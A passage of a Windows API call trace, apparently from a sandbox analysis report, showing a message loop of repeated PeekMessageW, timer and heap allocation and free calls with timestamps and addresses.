wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.134] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.135] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.684] TranslateMessage (lpMsg=0xbdf794) returned 0 [0138.684] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0138.684] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0138.685] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0138.685] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0138.685] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.685] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.685] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0138.686] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0138.686] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.686] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.686] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec550 [0138.687] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.687] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec550 | out: hHeap=0xe80000) returned 1 [0138.687] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.687] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0138.688] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0138.688] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.688] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.688] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0138.688] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0138.689] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0138.689] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0138.689] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0138.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0138.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.689] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.689] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0138.690] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0138.690] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.690] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.690] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.690] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.690] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.691] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.691] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.691] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.691] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.692] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0138.692] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0138.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.693] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0138.694] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0138.694] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.694] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.694] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.695] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.695] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0138.695] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.695] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0138.695] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.696] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.696] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0138.696] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0138.697] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.697] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.697] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.698] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.698] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.699] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.699] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.699] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.699] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.700] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.700] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0138.700] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0138.701] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.701] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.701] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.702] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.702] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.702] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.702] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.703] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.703] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0138.703] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0138.704] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.704] RtlAllocateHeap 